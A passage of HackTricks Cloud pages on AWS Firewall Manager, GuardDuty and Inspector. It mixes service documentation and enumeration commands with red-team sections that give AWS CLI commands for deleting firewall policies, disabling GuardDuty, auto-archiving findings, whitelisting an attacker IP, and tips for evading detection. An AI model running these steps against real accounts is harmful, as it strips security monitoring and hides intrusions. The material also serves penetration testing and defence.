5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security.
6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates.
For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html).
### Types of protection policies
AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure:
1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets.
2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats.
3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access.
4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment.
5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules.
6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic.
7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment.
1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls.
2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures.
### Administrator accounts
AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts.
**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include:
* Accounts or organizational units (OUs) that the administrator can apply policies to.
* Regions where the administrator can perform actions.
* Firewall Manager policy types that the administrator can manage.
Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege.
There are two distinct types of administrator accounts, each serving specific roles and responsibilities:
* **Default Administrator:**
* The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager.
* This account has the capability to manage third-party firewalls and possesses full administrative scope.
* It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization.
* While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization.
* **Firewall Manager Administrators:**
* These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration.
* Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards.
* Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager.
Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources.
It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed:
* First, each Firewall Administrator administrator account must revoke their own account.
* Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account.
* To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator.
## Enumeration
```
# Users/Administrators
## Get the AWS Organizations account that is associated with AWS Firewall Manager as the AWS Firewall Manager default administrator
aws fms get-admin-account
## List of Firewall Manager administrators within the organization
aws fms list-admin-accounts-for-organization # ReadOnlyAccess policy is not enough for this
## Return a list of the member accounts in the FM administrator's AWS organization
aws fms list-member-accounts # Only a Firewall Manager administrator or the Organization's management account can make this request
## List the accounts that are managing the specified AWS Organizations member account
aws fms list-admins-managing-account # ReadOnlyAccess policy is not enough for this
# Resources
## Get the resources that a Firewall Manager administrator can manage
aws fms get-admin-scope --admin-account <value> # ReadOnlyAccess policy is not enough for this
## Returns the summary of the resource sets used
aws fms list-resource-sets # ReadOnlyAccess policy is not enough for this
## Get information about a specific resource set
aws fms get-resource-set --identifier <value> # ReadOnlyAccess policy is not enough for this
## Retrieve the list of tags for a given resource
aws fms list-tags-for-resource --resource-arn <value>
## List of the resources in the AWS Organization's accounts that are available to be associated with a FM resource set. Only one account is supported per request.
aws fms list-compliance-status --member-account-ids <value> --resource-type <value> # ReadOnlyAccess policy is not enough for this
## List the resources that are currently associated to a resource set
aws fms list-resource-set-resources --identifier <value> # ReadOnlyAccess policy is not enough for this
# Policies
## Returns the list of policies
aws fms list-policies
## Get information about the specified AWS Firewall Manager policy
aws fms get-policy --policy-id <value>
## List all of the third-party firewall policies that are associated with the third-party firewall administrator's account
aws fms list-third-party-firewall-firewall-policies --third-party-firewall <PALO_ALTO_NETWORKS_CLOUD_NGFW|FORTIGATE_CLOUD_NATIVE_FIREWALL> # ReadOnlyAccess policy is not enough for this
# AppsList
## Return a list of apps list
aws fms list-apps-lists --max-results [1-100]
## Get information about the specified AWS Firewall Manager applications list
aws fms get-apps-list --list-id <value>
# Protocols
## Get the details of the Firewall Manager protocols list.
aws fms list-protocols-lists
## Get information about the specified AWS Firewall Manager Protocols list
aws fms get-protocols-list --list-id <value>
# Compliance
## Return a summary of which member accounts are protected by the specified policy
aws fms list-compliance-status --policy-id <policy-id>
## Get detailed compliance information about the specified member account (resources that are in and out of compliance with the specified policy)
aws fms get-compliance-detail --policy-id <value> --member-account <value>
# Other useful info
## Get information about the SNS topic that is used to record AWS Firewall Manager SNS logs (if any)
aws fms get-notification-channel
## Get policy-level attack summary information in the event of a potential DDoS attack
aws fms get-protection-status --policy-id <value> # Just for Shield Advanced policy
## Get the onboarding status of a Firewall Manager admin account to third-party firewall vendor tenant.
aws fms get-third-party-firewall-association-status --third-party-firewall <PALO_ALTO_NETWORKS_CLOUD_NGFW|FORTIGATE_CLOUD_NATIVE_FIREWALL> # ReadOnlyAccess policy is not enough for this
## Get violations' details for a resource based on the specified AWS Firewall Manager policy and AWS account.
aws fms get-violation-details --policy-id <value> --member-account <value> --resource-id <value> --resource-type <value>
```
## Post Exploitation / Bypass Detection
### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`)
An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association.
* The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account.
* In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**.
* The creation of a Firewall Manager administrator account can only be done by the organization's management account.
```bash
aws fms associate-admin-account --admin-account <value>
aws fms disassociate-admin-account
aws fms put-admin-account --admin-account <value>
```
**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment.
### `fms:PutPolicy`, `fms:DeletePolicy`
An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy.
```bash
aws fms put-policy --policy <value> | --cli-input-json file://<policy.json> [--tag-list <value>]
aws fms delete-policy --policy-id <value> [--delete-all-policy-resources | --no-delete-all-policy-resources]
```
An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one:
```json
{
"Policy": {
"PolicyName": "permisive_policy",
"SecurityServicePolicyData": {
"Type": "SECURITY_GROUPS_COMMON",
"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"<permisive_security_group_id>\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}"
},
"ResourceTypeList": ["AWS::EC2::Instance", "AWS::EC2::NetworkInterface", "AWS::EC2::SecurityGroup", "AWS::ElasticLoadBalancingV2::LoadBalancer", "AWS::ElasticLoadBalancing::LoadBalancer"],
"ResourceType": "AWS::EC2::SecurityGroup",
"ExcludeResourceTags": false,
"ResourceTags": [],
"RemediationEnabled": true
},
"TagList": []
}
```
**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment.
### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`
An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager.
```bash
# Associate/Disassociate resources from a resource set
aws fms batch-associate-resource --resource-set-identifier <value> --items <value>
aws fms batch-disassociate-resource --resource-set-identifier <value> --items <value>
# Create, modify or delete a resource set
aws fms put-resource-set --resource-set <value> [--tag-list <value>]
aws fms delete-resource-set --identifier <value>
```
**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment.
### `fms:PutAppsList`, `fms:DeleteAppsList`
An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS.
```bash
aws fms put-apps-list --apps-list <value> [--tag-list <value>]
aws fms delete-apps-list --list-id <value>
```
**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment.
### `fms:PutProtocolsList`, `fms:DeleteProtocolsList`
An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS.
```bash
aws fms put-protocols-list --apps-list <value> [--tag-list <value>]
aws fms delete-protocols-list --list-id <value>
```
**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment.
### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel`
An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs.
To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role.
For information about configuring an SNS access policy:
{% content-ref url="../aws-services/aws-sns-enum.md" %}
[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
{% endcontent-ref %}
```bash
aws fms put-notification-channel --sns-topic-arn <value> --sns-role-name <value>
aws fms delete-notification-channel
```
**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment.
### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall`
An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager.
{% hint style="warning" %}
Only the default administrator can create and manage third-party firewalls.
{% endhint %}
```bash
aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
```
**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation.
### `fms:TagResource`, `fms:UntagResource`
An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
```bash
aws fms tag-resource --resource-arn <value> --tag-list <value>
aws fms untag-resource --resource-arn <value> --tag-keys <value>
```
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
## References
* [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html)
* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html)
* [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,232 @@
# AWS - GuardDuty Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## GuardDuty
According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs.
Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation.
Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events.
{% hint style="warning" %}
When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\
If you just stop it, the existing findings will remain.
{% endhint %}
### Findings Example
* **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP.
* **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS.
* **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses.
* **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets.
<details>
<summary>Finding Information</summary>
Finding summary:
* Finding type
* Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low
* Region
* Account ID
* Resource ID
* Time of detection
* Which threat list was used
The body has this information:
* Resource affected
* Action
* Actor: Ip address, port and domain
* Additional Information
</details>
### All Findings
Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
### Multi Accounts
#### By Invitation
You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation.
#### Via Organization
You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator.
An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account.
## Enumeration
{% code overflow="wrap" %}
```bash
# Get Org config
aws guardduty list-organization-admin-accounts #Get Delegated Administrator
aws guardduty describe-organization-configuration --detector-id <id>
# Check external invitations
aws guardduty list-invitations
aws guardduty get-invitations-count
# Detector Information
aws guardduty list-detectors # 1 detector per account with GuardDuty
aws guardduty get-detector --detector-id <id> # Get detector info
aws guardduty get-master-account --detector-id <id>
# Get filters
aws guardduty list-filters --detector-id <id> # Check filters
aws guardduty get-filter --detector-id <id> --filter-name <name>
# Findings
aws guardduty list-findings --detector-id <id> # List findings
aws guardduty get-findings --detector-id <id> --finding-ids <id> # Get details about the finding
aws guardduty get-findings-statistics --detector-id <id> --finding-statistic-types <types>
# Get trusted IP addresses
aws guardduty list-ip-sets --detector-id <id>
aws guardduty get-ip-set --detector-id <id>
# Member accounts of the current AWS GuardDuty master account
aws guardduty list-members --detector-id <id>
aws guardduty get-members --detector-id <id> --account-ids <id>
aws guardduty get-member-detectors --detector-id <id> --account-ids <id>
# Continuously export its findings to an Amazon S3 bucket
aws guardduty list-publishing-destinations --detector-id <id>
# Intelligence sets that you have uploaded to GuardDuty
aws guardduty list-threat-intel-sets --detector-id <id>
aws guardduty get-threat-intel-set --detector-id <id> --threat-intel-set-id <id>
```
{% endcode %}
## GuardDuty Bypass
### General Guidance
Try to find out as much as possible about the behaviour of the credentials you are going to use:
* Times it's used
* Locations
* User Agents / Services (It could be used from awscli, webconsole, lambda...)
* Permissions regularly used
With this information, recreate as much as possible the same scenario to use the access:
* If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible)
* If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges
* Always try to use the **same permissions** this principal has used
* If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one)
### Breaking GuardDuty
#### `guardduty:UpdateDetector`
With this permission you could disable GuardDuty to avoid triggering alerts.
{% code overflow="wrap" %}
```bash
aws guardduty update-detector --detector-id <detector-id> --no-enable
aws guardduty update-detector --detector-id <detector-id> --data-sources S3Logs={Enable=false}
```
{% endcode %}
#### `guardduty:CreateFilter`
Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings:
{% code overflow="wrap" %}
```bash
aws guardduty create-filter --detector-id <detector-id> --name <filter-name> --finding-criteria file:///tmp/criteria.json --action ARCHIVE
```
{% endcode %}
#### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`)
Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts.
{% code overflow="wrap" %}
```bash
aws guardduty update-ip-set --detector-id <detector-id> --activate --ip-set-id <ip-set-id> --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv
```
{% endcode %}
#### `guardduty:DeletePublishingDestination`
Attackers could remove the destination to prevent alerting:
{% code overflow="wrap" %}
```bash
aws guardduty delete-publishing-destination --detector-id <detector-id> --destination-id <dest-id>
```
{% endcode %}
{% hint style="danger" %}
Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings.
{% endhint %}
### Specific Findings Bypass Examples
Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught.
Here you have a couple of examples of specific GuardDuty findings bypasses:
#### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) <a href="#pentest-iam-kalilinux" id="pentest-iam-kalilinux"></a>
GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\
It's detected by the **user agent name** that is passed in the API request.\
Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack.
To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering.
#### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert.
{% hint style="success" %}
Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert.
{% endhint %}
## References
* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
* [https://docs.aws.amazon.com/guardduty/latest/ug/findings\_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html)
* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_upload-lists.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html)
* [https://docs.aws.amazon.com/cli/latest/reference/guardduty/delete-publishing-destination.html](https://docs.aws.amazon.com/cli/latest/reference/guardduty/delete-publishing-destination.html)
* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-ec2.html#unauthorizedaccess-ec2-torclient](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html#unauthorizedaccess-ec2-torclient)
* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)
* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)
* [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,421 @@
# AWS - Inspector Enum
## AWS - Inspector Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Inspector
Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management.
### Key elements
#### Findings
Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as:
* **Active**: The finding has not been remediated.
* **Closed**: The finding has been remediated.
* **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**.
Findings are also categorized into the next three types:
* **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues.
* **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches.
* **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups.
#### Filters and Suppression Rules
Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues.
#### Software Bill of Materials (SBOM)
